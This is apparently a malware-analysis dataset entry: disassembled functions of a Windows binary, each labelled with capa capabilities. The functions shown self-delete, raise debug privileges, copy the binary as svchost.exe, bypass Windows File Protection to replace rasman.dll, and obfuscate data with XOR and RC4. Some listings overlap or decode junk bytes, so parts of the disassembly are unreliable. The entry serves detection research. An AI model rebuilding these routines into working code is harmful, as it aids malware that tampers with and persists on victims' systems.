joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401270
Capabilities:
Create process on windows
Query environment variable
Self delete

Disassembly:
sub esp, 0x208
lea eax, [esp]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401327
lea ecx, [esp]
push 0x104
lea edx, [esp + 4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x401327
push esi
lea eax, [esp + 0x108]
push str._c_del
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 4]
lea edx, [esp + 0x108]
push ecx
push edx
call esi
lea eax, [esp + 0x108]
push str.____NUL
push eax
call esi
lea ecx, [esp + 4]
push 0x104
push ecx
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
pop esi
je 0x401327
push 0
lea edx, [esp + 0x108]
push 0
lea eax, [esp + 8]
push edx
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x401327
mov eax, 1
add esp, 0x208
ret
xor eax, eax
add esp, 0x208
ret

Function at 0x401330
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
mov dword [esp + 4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 4]
push eax
push 5
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
mov eax, dword [esp + 4]
pop edi
test eax, eax
je 0x401394
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
test eax, eax
je 0x401394
mov edx, dword [esp + 0x10c]
push 0x104
lea eax, [esp + 8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
add esp, 0x108
ret

Function at 0x4013a0
Capabilities:
Delete file

Disassembly:
sub esp, 0x20
mov ecx, dword [esp + 0x24]
lea edx, [esp]
xor eax, eax
push edx
mov word [esp + 0x14], 0x17
mov dword [esp + 0x1a], eax
mov dword [esp + 4], eax
mov dword [esp + 0x1e], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 8], 3
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
neg eax
sbb eax, eax
inc eax
add esp, 0x20
ret
Function at 0x401700
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [esp]
push ecx
push 0x20
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x401781
lea edx, [esp + 4]
push edx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x401781
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
push 0
push 0
lea edx, [esp + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push 0
push edx
push 0
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
neg eax
sbb eax, eax
neg eax
add esp, 0x1c
ret
xor eax, eax
add esp, 0x1c
ret
Function at 0x401ce0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405180
push 0x402448
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4e0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 4], ebx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x3e8], ebx
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x4ec], bl
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x4eb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x4ec]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xc
xor eax, eax
lea edi, [ebp - 0x3e4]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x380], 0xff
mov dword [ebp - 0x2b0], 0x64
mov byte [ebp - 0x2ac], bl
mov dword [ebp - 0x2b4], ebx
mov byte [ebp - 0x1ac], bl
mov ecx, 0x63
xor eax, eax
lea edi, [ebp - 0x1ab]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x64
xor eax, eax
lea edi, [ebp - 0x1ac]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x1ac]
mov edi, str.SOFTWARETencentQQ2009
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x1c]
push ecx
push 0xf003f
push ebx
lea edx, [ebp - 0x1ac]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401d0e
xor esi, esi
mov dword [ebp - 0x3ec], esi
lea eax, [ebp - 0x2b0]
push eax
lea ecx, [ebp - 0x3e4]
push ecx
push ebx
push ebx
lea edx, [ebp - 0x380]
push edx
lea eax, [ebp - 0x4ec]
push eax
push esi
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov dword [ebp - 0x4f0], eax
cmp eax, 0x103
jne 0x401e4a
mov edx, dword [ebp - 0x1c]
push edx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
push ebx
call esi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401d0e
push str.Install
lea eax, [ebp - 0x4ec]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401e6f
lea ecx, [ebp - 0x3e4]
push ecx
call fcn.00401420
add esp, 4
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x4ec]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x19
xor eax, eax
lea edi, [ebp - 0x3e4]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x380], 0xff
mov dword [ebp - 0x2b0], 0x64
inc esi
jmp 0x401def
Function at 0x401ec0
Capabilities:
Copy file
Create process on windows
Get common file path

Disassembly:
sub esp, 0x464
mov ecx, 0x41
xor eax, eax
push edi
lea edi, [esp + 0x260]
rep stosd dword es:[edi], eax
push eax
lea eax, [esp + 0x264]
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x364]
push 0x103
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x5c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x5c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x58]
push 0x5c
push edx
call fcn.00402620
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x60]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x60]
sub ecx, edx
push ecx
lea ecx, [esp + 0x370]
push eax
push ecx
call fcn.00402520
lea edx, [esp + 0x274]
lea eax, [esp + 0x378]
push edx
push eax
call fcn.00404bd0
add esp, 0x1c
test eax, eax
jne 0x401f75
pop edi
add esp, 0x464
ret
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15d]
mov byte [esp + 0x15c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x15c]
push str.svchost
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x264]
lea edx, [esp + 0x160]
push ecx
push str._s_s.exe
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [esp + 0x15c]
lea ecx, [esp + 0x58]
push 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor edx, edx
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 4], edx
rep stosd dword es:[edi], eax
mov dword [esp + 8], edx
lea eax, [esp + 4]
lea ecx, [esp + 0x14]
mov dword [esp + 0xc], edx
push eax
push ecx
push edx
push edx
push edx
push edx
push edx
push edx
mov dword [esp + 0x30], edx
push edx
lea edx, [esp + 0x180]
mov dword [esp + 0x38], 0x44
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40202a
pop edi
add esp, 0x464
ret
mov eax, dword [esp + 4]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop esi
mov eax, 1
pop edi
add esp, 0x464
ret
Function at 0x4020f0
Capabilities:
Bypass windows file protection
Copy file
Create thread
Get common file path
Move file
Terminate process

Disassembly:
sub esp, 0x2f4
push ebp
push edi
call fcn.00401700
call fcn.00401ec0
test eax, eax
jne 0x4022d9
push esi
call fcn.00401230
test eax, eax
je 0x40217a
push 0x406660
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402050
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
push 0
push 0
push 0
push 0x402070
push 0
push 0
call esi
push 0
push 0
push 0
push 0x402060
push 0
push 0
mov ebp, eax
call esi
push ebp
mov esi, eax
call edi
push esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x5f5e0ff
call esi
jmp 0x402171
push str.sfc_os.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 5
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
mov ecx, 0x3e
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov byte [esp + 0x108], 0
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0x3e
xor eax, eax
lea edi, [esp + 0xc]
mov byte [esp + 0x204], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3e
xor eax, eax
lea edi, [esp + 0x109]
push 0xfa
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0x3e
xor eax, eax
lea edi, [esp + 0x10c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3e
xor eax, eax
lea edi, [esp + 0x209]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0x3e
xor eax, eax
lea edi, [esp + 0x208]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x10c]
push str._s_rasmanOrg.dll
push edx
call esi
lea eax, [esp + 0x18]
lea ecx, [esp + 0x210]
push eax
push str._s_rasman.tmp
push ecx
call esi
mov edi, str._rasman.dll
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x24]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00402080
add esp, 0x1c
mov esi, eax
push 0xffffffffffffffff
push esi
push 0
call ebp
push esi
call fcn.00402647
add esp, 4
lea ecx, [esp + 0x108]
lea edx, [esp + 0xc]
push 1
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0x204]
push 1
lea ecx, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x40608c
lea edx, [esp + 0x10]
push 0x6a
push edx
call fcn.004010b0
add esp, 0xc
push 0
call section..text
pop esi
call fcn.00401270
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403178
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4062b0
cmp edx, dword [eax]
je 0x40319a
add eax, 8
inc ecx
cmp eax, 0x406340
jl 0x40318b
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4062b0]
jne 0x4032c8
mov eax, dword [0x406684]
cmp eax, 1
je 0x4032a2
test eax, eax
jne 0x4031cb
cmp dword [0x406214], 1
je 0x4032a2
cmp edx, 0xfc
je 0x4032c8
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x403202
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00403f60
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00404050
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x403245
lea eax, [ebp - 0x1a4]
push eax
call fcn.00404050
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x405470
push edi
call fcn.00402520
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00403f60
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403f70
lea eax, [ebp - 0xa0]
push 0x405450
push eax
call fcn.00403f70
push dword [esi + 0x4062b4]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403f70
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00404405
add esp, 0x2c
pop edi
jmp 0x4032c8
lea eax, [ebp + 8]
lea esi, [esi + 0x4062b4]
push 0
push eax
push dword [esi]
call fcn.00404050
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401140
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov dword [ebp - 8], esi
mov ecx, 0x3d
mov ebx, 0x4b8a
mov esi, 0x4944
nop
mov eax, 0xaf3addc7
imul esi
add edx, esi
sar edx, 7
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x401160
mov eax, 0x6787
mov edx, 0x1b
nop
cmp ecx, edx
cmovg ecx, edx
dec eax
jne 0x401180
mov eax, dword [ebp + 8]
test eax, eax
je 0x4012b0
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x4012b0
cmp eax, ecx
jae 0x4012b0
mov esi, 0x7c9
jmp 0x4011b0
mov eax, 0x60606061
imul esi
sar edx, 5
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x4011b0
mov edx, 0x50ce
mov dword [ebp - 4], 0x24
mov eax, 0x8c
cmp eax, 0x24
cmovl eax, dword [ebp - 4]
dec edx
jne 0x4011d4
mov edx, dword [ebp + 8]
sub ecx, edx
mov dword [ebp + 0xc], ecx
mov ecx, esi
je 0x401200
mov esi, dword [ebp + 0xc]
lea ecx, [ecx]
mov al, byte [ecx + edx + 1]
sub al, 0x69
xor byte [ecx + edx], al
inc ecx
cmp ecx, esi
jb 0x4011f0
xor esi, esi
mov ecx, 0x4a9a
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x401205
lea ebx, [ebx]
inc edi
mov eax, 0x2aaaaaab
imul edi
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
add ecx, ecx
mov eax, edi
sub eax, ecx
jne 0x40123b
inc edi
cmp edi, 0x1a7a
jl 0x401220
mov ecx, 0x2353
jmp 0x401250
mov eax, 0xb40b40b5
imul ecx
add edx, ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x401250
mov eax, 0xd62b80d7
imul ebx
add edx, ebx
sar edx, 7
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x401265
mov esi, 0x613d
nop
mov eax, 0x6bca1af3
imul esi
sar edx, 6
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x401280
mov esi, dword [ebp - 8]
inc esi
mov eax, esi
and eax, 0x80000007
jns 0x4012a5
dec eax
or eax, 0xfffffff8
inc eax
jne 0x4012a8
inc esi
cmp esi, 0x19d5
jl 0x401296
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401ea0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf0
xor edx, edx
push ebx
push esi
xor esi, esi
push edi
mov ecx, 0x67
mov edi, 0x3634
mov dword [ebp - 8], edx
mov dword [ebp - 4], 0xcc7
mov dword [ebp - 0x58], 0x4175
mov dword [ebp - 0x50], 0x4a5a
mov dword [ebp - 0x54], 0x7cfb
mov dword [ebp - 0x34], 0x2a
mov dword [ebp - 0x4c], 0x613d
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x28], 0x1fe4
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x44], 0x9d
mov dword [ebp - 0x2c], 0x57b1
mov dword [ebp - 0x30], 0x2c0
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x40], 0xb9
mov dword [ebp - 0x48], 0x6c44
cmp dword [ebp + 8], edx
je 0x4024d3
cmp dword [ebp + 0xc], edx
je 0x4024d3
mov eax, dword [ebp + 0x10]
mov ebx, dword [ebp + 0x10]
mov eax, dword [eax + 0x278]
xor eax, dword [ebx + 0x260]
cmp dword [ebp + 0xc], eax
jl 0x4024d3
inc edx
mov eax, edx
and eax, 0x80000007
jns 0x401f56
dec eax
or eax, 0xfffffff8
inc eax
jne 0x401f5b
add edx, 2
cmp edx, 0x4e25
jl 0x401f47
call fcn.00403570
xor al, 0xac
add byte [edi - 0xe], ah
xor al, 0xac
jge 0x401f67
xchg ebp, eax
xchg edi, eax
and byte [eax - 0x6868b40f], dl
and dl, byte [ebx]
leave
sub byte [ecx + 0x20979703], ch
test al, 5
pushal
xchg esi, eax
xchg edi, eax
fisttp qword [ecx]
xchg edx, eax
sub ah, al
pushal
sbb al, 0x72
je 0x401ffc
mov ss, word [eax + 0x63]
and dl, dl
lcall 0x2ee6, 0x5a855ebe
push eax
push edx
xchg edi, eax
xchg edi, eax
xchg edi, eax
ret 0xea74
inc ebx
pop ebp
test dword [edx - 0x2a], esi
int1
daa
mov esi, 0x87f451a4
xchg edi, eax
sbb al, 0xe5
ret 0x709d
mov eax, 0x6f19
mov edx, 0xca
lea ecx, [ecx]
cmp ecx, edx
cmovg ecx, edx
dec eax
jne 0x4024e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403030
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ecx, 0x44b0
mov esi, 0x3634
mov ebx, 0x4a9a
mov eax, 0xa57eb503
imul ecx
add edx, ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x403045
mov ecx, dword [ebp + 8]
add ecx, 0xb
mov dword [ebp - 4], ecx
mov eax, 0xb60b60b7
imul esi
add edx, esi
sar edx, 5
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x403063
mov edx, dword [ebp + 8]
push edi
inc byte [edx + 0x122]
movzx edi, byte [edx + 0x122]
movzx eax, byte [edx + 0x11b]
add edi, ecx
lea esi, [edx + 0xb]
movzx ecx, byte [edi]
add eax, ecx
mov byte [edx + 0x11b], al
movzx eax, al
add esi, eax
push esi
push edi
call fcn.00403550
mov cl, byte [esi]
add esp, 8
add cl, byte [edi]
pop edi
mov eax, 0x4325c53f
imul ebx
sar edx, 6
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x4030b4
movzx eax, cl
mov ecx, dword [ebp - 4]
pop esi
mov cl, byte [eax + ecx]
mov eax, 0x5801
pop ebx
dec eax
jne 0x4030d7
movzx eax, cl
movzx ecx, byte [ebp + 0xc]
xor eax, ecx
mov esp, ebp
pop ebp
ret
Function at 0x404623
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov eax, 0x7ede07ee
mov dword [ebp - 0x20], 0xe416e9b2
xor dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 0xcc860d74
xor dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0x2d40b1d6
xor dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0xa0ef07db
xor dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0xfd8ec8ab
xor dword [ebp - 0x10], eax
xor eax, eax
lea ebx, [ebx]
xor byte [ebp + eax - 0x20], 0xc6
inc eax
cmp eax, 0x14
jb 0x404673
mov ecx, dword [ebp + 8]
push 0x14
lea eax, [ebp - 0x20]
push eax
push ecx
call fcn.0042d443
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x4048a3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov eax, 0xd980457a
mov dword [ebp - 0x20], 0x77b52ea6
xor dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 0xb471648b
xor dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0xb3f4db87
xor dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0x90ee17db
xor dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x7c8e11b2
xor dword [ebp - 0x10], eax
xor eax, eax
lea ebx, [ebx]
xor byte [ebp + eax - 0x20], 0xee
inc eax
cmp eax, 0x14
jb 0x4048f3
mov ecx, dword [ebp + 8]
push 0x14
lea eax, [ebp - 0x20]
push eax
push ecx
call fcn.0042d443
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x404a13
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp + 8], eax
xor eax, eax
lea ecx, [ebp - 0x18]
push ecx
mov byte [ebp - 0x18], 0
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
call fcn.00404623
mov cl, byte [ebp + 0xc]
add esp, 4
xor eax, eax
xor byte [ebp + eax - 0x18], cl
inc eax
cmp eax, 0x14
jb 0x404a45
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp + 8]
push 4
push eax
call fcn.00417913
mov eax, dword [ebp + 8]
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x404a73
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
xor eax, eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 0x18], 0
call fcn.004046a3
mov cl, byte [ebp + 0xc]
add esp, 4
xor eax, eax
lea esp, [esp]
xor byte [ebp + eax - 0x18], cl
inc eax
cmp eax, 0x14
jb 0x404aa3
movzx edx, byte [ebp + 0x10]
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x18]
push ecx
push edx
push eax
call fcn.00417913
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x40e563
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
sub esp, 0x18
mov eax, edx
push ebx
mov ebx, dword [ebp + 0xc]
shr eax, 4
push esi
mov ecx, ebx
test eax, eax
je 0x40e5d5
add ebx, 8
mov dword [ebp - 4], eax
nop
mov eax, dword [ecx]
xor dword [edi], eax
mov edx, dword [ebx - 4]
xor dword [edi + 4], edx
mov edx, dword [ebx]
xor dword [edi + 8], edx
mov edx, dword [ebx + 4]
xor dword [edi + 0xc], edx
add ecx, 0x10
mov dword [ebp - 8], ecx
mov ecx, dword [ebp + 8]
push edi
lea esi, [ebp - 0x18]
add ebx, 0x10
call fcn.0040e4d3
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov dword [edi], eax
mov eax, dword [ebp - 0xc]
mov dword [edi + 4], ecx
mov ecx, dword [ebp - 8]
add esp, 4
dec dword [ebp - 4]
mov dword [edi + 8], edx
mov dword [edi + 0xc], eax
jne 0x40e583
mov edx, dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
lea eax, [ebx + edx]
cmp eax, ecx
jbe 0x40e648
sub ebx, ecx
add ebx, edx
test ebx, ebx
jle 0x40e5f2
push ebx
push ecx
lea ecx, [ebp - 0x18]
push ecx
call fcn.0042d493
add esp, 0xc
mov eax, 0x10
sub eax, ebx
lea ecx, [ebp + ebx - 0x18]
je 0x40e60b
push eax
push 0
push ecx
call fcn.0042d4c3
add esp, 0xc
mov edx, dword [ebp - 0x18]
xor dword [edi], edx
mov ecx, dword [ebp - 0x14]
xor dword [edi + 4], ecx
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
xor dword [edi + 8], edx
xor dword [edi + 0xc], ecx
mov ecx, dword [ebp + 8]
push edi
lea esi, [ebp - 0x18]
call fcn.0040e4d3
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
mov dword [edi], edx
mov edx, dword [ebp - 0xc]
mov dword [edi + 4], eax
mov dword [edi + 8], ecx
add esp, 4
mov dword [edi + 0xc], edx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40e653
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 0x18]
push edi
mov edi, ecx
test eax, eax
je 0x40e755
push esi
mov esi, dword [edx]
mov dword [ebp - 0x14], esi
mov esi, dword [edx + 4]
mov dword [ebp - 0x10], esi
mov esi, dword [edx + 8]
mov edx, dword [edx + 0xc]
shr eax, 4
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], edx
test eax, eax
je 0x40e71c
mov edx, ebx
sub ecx, edx
lea esi, [edx + 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp + 0x18], eax
jmp 0x40e6a3
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ebx
lea eax, [ebp - 0x14]
push eax
push ecx
push edx
call fcn.00410963
mov eax, dword [edi]
xor dword [ebx], eax
mov ecx, dword [edi + 4]
xor dword [esi - 8], ecx
mov edx, dword [edi + 8]
xor dword [esi - 4], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + esi]
xor dword [esi], ecx
movzx eax, byte [ebp - 8]
movzx edx, byte [ebp - 7]
movzx ecx, byte [ebp - 6]
shl eax, 8
or eax, edx
movzx edx, byte [ebp - 5]
shl eax, 8
or eax, ecx
shl eax, 8
or eax, edx
inc eax
mov ecx, eax
shr ecx, 0x18
mov byte [ebp - 8], cl
mov edx, eax
mov ecx, eax
shr edx, 0x10
shr ecx, 8
add esp, 0x10
add edi, 0x10
add ebx, 0x10
add esi, 0x10
dec dword [ebp + 0x18]
mov byte [ebp - 7], dl
mov byte [ebp - 6], cl
mov byte [ebp - 5], al
jne 0x40e6a3
mov ecx, dword [ebp + 0x10]
sub ecx, edi
add ecx, dword [ebp + 0x14]
mov esi, ecx
je 0x40e754
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 0x24]
push edx
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
push ecx
push edx
call fcn.00410963
add esp, 0x10
xor eax, eax
test esi, esi
je 0x40e754
sub ebx, edi
mov cl, byte [ebp + eax - 0x24]
xor cl, byte [edi]
inc eax
mov byte [ebx + edi], cl
inc edi
cmp eax, esi
jb 0x40e745
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret